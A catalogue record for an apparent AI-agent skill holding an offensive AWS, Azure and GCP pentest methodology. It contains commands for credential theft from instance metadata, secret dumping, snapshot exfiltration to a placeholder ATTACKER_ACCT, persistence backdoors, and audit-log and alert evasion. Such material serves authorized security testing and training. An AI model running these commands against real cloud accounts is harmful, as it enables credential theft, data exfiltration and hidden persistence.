{"id":"offensive-cloud","name":"offensive-cloud","summary":"AWS、Azure、GCPをカバーするクラウドセキュリティ攻撃手法。資格情報の収集(IMDS、~/.aws、env vars、リークされたCIシークレット、インスタンスロール)、クラウド専用ツール(pacu、ScoutSuite、Prowler、ROADtools、gcp_enum)による列挙、権限エスカレーションパ…","body":"# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. Identify the cloud and the identity context you have (user, role, service account, instance role)\n2. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list`\n3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)\n4. Find the data and the persistence anchors before alarms fire\n5. Document the kill chain with timestamps, identities, and resources for the report\n\n---\n\n## AWS\n\n### Identity Discovery\n\n```bash\naws sts get-caller-identity\naws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')\naws iam list-attached-role-policies --role-name <role>\naws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \\\n  --action-names \"*\"\n```\n\n### IMDS Credential Theft\n\n```bash\n# IMDSv1 (legacy)\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>\n\n# IMDSv2 (modern, requires token)\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" \\\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  http://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\n\nFrom SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.\n\n### Privilege Escalation Paths\n\n| Path | Required Permission | Outcome |\n|------|---------------------|---------|\n| `iam:PassRole` + `lambda:CreateFunction` | Pass any role to Lambda you create | Run code as that role |\n| `iam:PassRole` + `ec2:RunInstances` | Pass any role to EC2 instance | IMDS → role creds |\n| `iam:CreatePolicyVersion` + `iam:SetDefaultPolicyVersion` | Edit your own policy | Self-elevate |\n| `iam:UpdateAssumeRolePolicy` | On a privileged role | Add yourself as principal |\n| `iam:CreateLoginProfile` (on user without one) | Set console password | Console access |\n| `iam:CreateAccessKey` (on another user) | Mint keys for someone else | Persistent access |\n| `sts:AssumeRole` with `sts:TagSession` to ABAC role | If role trusts session tags | Tag-based escalation |\n| `cloudformation:CreateStack` + permissive role | Run any service action | Indirect arbitrary perms |\n| `glue:UpdateDevEndpoint` | Inject SSH key into Glue endpoint | Code exec as Glue role |\n| `ssm:SendCommand` to any instance | RCE on instances + their roles | Lateral + escalation |\n\n```bash\n# Pacu — the tooling for AWS escalation\npacu\n> import_keys default\n> run iam__enum_permissions\n> run iam__privesc_scan\n```\n\n### Cross-Account / Organization\n\n```bash\n# Find roles trusting the current account\naws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'\n# Then grep AssumeRolePolicyDocument.Statement for trusts to your account\n\n# Org-wide (if Organizations access)\naws organizations list-accounts\naws organizations list-roots\n```\n\n### Data Targets\n\n```bash\n# S3\naws s3api list-buckets\naws s3 ls s3://<bucket> --recursive | head\naws s3api get-bucket-policy --bucket <bucket>\n\n# Cross-region snapshot share (data exfil without S3)\naws ec2 modify-snapshot-attribute --snapshot-id snap-... \\\n  --attribute createVolumePermission \\\n  --create-volume-permission \"Add=[{UserId=ATTACKER_ACCT}]\"\n\n# RDS snapshot share\naws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \\\n  --attribute-name restore --values-to-add ATTACKER_ACCT\n\n# Secrets Manager / Parameter Store\naws secretsmanager list-secrets\naws ssm get-parameters-by-path --path / --recursive --with-decryption\n```\n\n### Persistence\n\n```bash\n# Cross-account SCP exemption via service-linked role\n# AWS Config snapshot delivery channel rerouted to attacker bucket\naws configservice put-delivery-channel ...  # Rare but devastating\n\n# EventBridge rule firing Lambda you control on every IAM change\n# Backdoor: Lambda creates an access key for any new admin user\n```\n\n### Detection Evasion\n\n- CloudTrail to multi-region with log file validation — disable validation if you have perms\n- GuardDuty findings can be muted via `update-findings-feedback` if you have the permission (rare in prod)\n- VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only\n\n---\n\n## Azure\n\n### Identity Discovery\n\n```bash\naz account show\naz ad signed-in-user show\naz role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)\n\n# Microsoft Graph\naz rest --method GET --uri \"https://graph.microsoft.com/v1.0/me\"\n```\n\n### IMDS\n\n```bash\ncurl -H \"Metadata:true\" \\\n  \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/\"\n```\n\n### Privilege Escalation Paths\n\n| Path | Required Role / Permission | Outcome |\n|------|---------------------------|---------|\n| User Access Administrator on self/sub | Grant self Owner | Subscription Owner |\n| App Registration owner | Add cert/secret, mint app-only tokens | App's permissions |\n| Virtual Machine Contributor + Reader on KV | Run command on VM with MSI → KV | Secrets |\n| Custom role with `*/write` on RBAC | Edit role assignments | Self-elevate |\n| Logic App contributor | Edit workflow → privileged action | Indirect any action |\n| Automation Account contributor | RunBook with Run-As account | Run as RunAs identity |\n| AAD `Application Administrator` | Assign app to high-priv role | Cloud admin via app |\n| AAD `Cloud Application Administrator` | Same minus on-prem | Cloud admin |\n| AAD `Directory Synchronization Account` | DCSync via AAD Connect | All on-prem hashes |\n| Privileged Authentication Administrator | Reset MFA / passwords for Globals | Global Admin reset |\n\n```bash\n# ROADtools — the AAD enumeration toolkit\nroadrecon auth -u user@tenant -p pass\nroadrecon gather\nroadrecon gui  # browse the gathered DB\n\n# AzureHound for BloodHound integration\nazurehound list -u user -p pass --tenant tenant.onmicrosoft.com\n```\n\n### Data Targets\n\n```bash\n# Storage account access keys (gold)\naz storage account keys list -g RG -n SA\n\n# Key Vault (per RBAC + access policies)\naz keyvault secret list --vault-name myvault\naz keyvault secret show --vault-name myvault -n cred\n\n# Cosmos DB primary keys\naz cosmosdb keys list -g RG -n acct\n\n# SQL admin reset\naz sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>\n```\n\n### Persistence\n\n```bash\n# Add cert to existing privileged AAD application\naz ad app credential reset --id <app-id> --append\n\n# Conditional Access bypass: add own service principal to \"trusted locations\" / exclusions\n# Custom rules to AAD Audit log retention\n```\n\n### Detection Evasion\n\n- AAD Audit Log: tenant-level, can't be tampered with from below Global Admin\n- Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write\n- Defender for Cloud: alert suppression rules\n\n---\n\n## GCP\n\n### Identity Discovery\n\n```bash\ngcloud auth list\ngcloud projects list\ngcloud iam service-accounts list\ngcloud projects get-iam-policy $(gcloud config get-value project)\n```\n\n### IMDS\n\n```bash\ncurl -H \"Metadata-Flavor: Google\" \\\n  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n```\n\n### Privilege Escalation Paths\n\n| Path | Required Permission | Outcome |\n|------|---------------------|---------|\n| `iam.serviceAccountTokenCreator` on SA | Mint tokens as SA | SA's perms |\n| `iam.serviceAccountUser` + `compute.instances.create` | Pass SA to new VM | Run as SA via IMDS |\n| `iam.serviceAccountKeyAdmin` | Create JSON key for any SA | Persistent SA creds |\n| `cloudbuild.builds.create` | Build runs as Cloud Build SA (often Editor) | Editor on project |\n| `deploymentmanager.deployments.create` | Runs as DM SA (often Owner) | Owner |\n| `cloudfunctions.functions.create` + actAs | Pass any SA to function | Run as that SA |\n| `dataflow.jobs.create` + actAs | Same pattern | SA's perms |\n| `iam.roles.update` (custom roles) | Add permissions to a role you have | Self-elevate |\n| `resourcemanager.projects.setIamPolicy` | Grant self any role | Owner |\n\n```bash\n# gcp_enum / gcp_scanner\ngit clone https://github.com/google/gcp_scanner\npython gcp_scanner.py -k gcp.json -o out/\n\n# Hunt for SA impersonation paths\ngcloud iam service-accounts get-iam-policy <sa-email>\n# Look for ServiceAccountTokenCreator on something you control\n```\n\n### Data Targets\n\n```bash\n# GCS buckets\ngcloud storage ls\ngsutil ls -L gs://bucket\ngsutil iam get gs://bucket\n\n# Cloud SQL\ngcloud sql instances list\ngcloud sql users list --instance <instance>\n\n# Secret Manager\ngcloud secrets list\ngcloud secrets versions access latest --secret=<name>\n```\n\n### Cross-Project / Folder Pivot\n\n```bash\n# Org-level perms?\ngcloud organizations list\ngcloud resource-manager folders list --organization <id>\ngcloud projects list --filter=\"parent.id=<folder-id>\"\n```\n\n---\n\n## Cross-Cloud Patterns\n\n### CI/CD as the Pivot\n\nMost cloud takeovers in 2024-2025 start with CI tokens:\n- GitHub Actions OIDC misconfigured → assume any AWS role with weak `sub` claim\n- GitLab CI pushed to wrong branch → gains prod role\n- Jenkins agent with cloud credentials in env\n\nTest the OIDC trust policy claims carefully:\n\n```json\n\"Condition\": {\n  \"StringLike\": {\n    \"token.actions.githubusercontent.com:sub\": \"repo:org/*\"\n  }\n}\n```\n\n### Snapshot Sideways (works on all 3)\n\nTake a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.\n\n### Secrets-in-Logs\n\nCloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.\n\n### Container Registry Poisoning\n\nECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.\n\n---\n\n## Tooling Matrix\n\n| Tool | AWS | Azure | GCP | Use |\n|------|-----|-------|-----|-----|\n| ScoutSuite | ✓ | ✓ | ✓ | Posture audit |\n| Prowler | ✓ | ✓ | ✓ | CIS/PCI checks |\n| Pacu | ✓ |   |   | Offensive framework |\n| CloudGoat | ✓ |   |   | Vulnerable lab |\n| BloodHound + AzureHound |   | ✓ |   | Graph-based escalation |\n| ROADtools |   | ✓ |   | AAD recon + offline analysis |\n| MicroBurst |   | ✓ |   | PS-based offensive |\n| Stormspotter |   | ✓ |   | MS' own offensive enum |\n| gcp_scanner |   |   | ✓ | Token-based recon |\n| GCPBucketBrute |   |   | ✓ | GCS bucket discovery |\n\n---\n\n## Engagement Cheatsheet\n\n```\n[ ] sts/get-caller-identity, az account show, gcloud auth list\n[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)\n[ ] Map known privesc paths against current perms\n[ ] Pacu/ROADtools/gcp_scanner full enumeration\n[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)\n[ ] Test cross-account/tenant/project trust paths\n[ ] Test CI/CD OIDC trust policies\n[ ] Test backup/snapshot exfiltration paths\n[ ] Document discovered identities, paths, and data with timestamps\n[ ] Persistence demonstrated only with explicit authorization\n```\n\n---\n\n## Key References\n\n- AWS IAM permissions reference (boto3 docs)\n- Azure RBAC built-in roles + actions list\n- GCP IAM permissions reference\n- HackTricks Cloud — ongoing reference for newest paths\n- \"Pacu\" framework docs — pacu.aws.cloud\n- MITRE ATT&CK Cloud Matrix\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/cloud/offensive-cloud","license":"MIT","category":"document","lang":"en","tokens":2907,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["graph.microsoft.com","management.azure.com","metadata.google.internal"]}}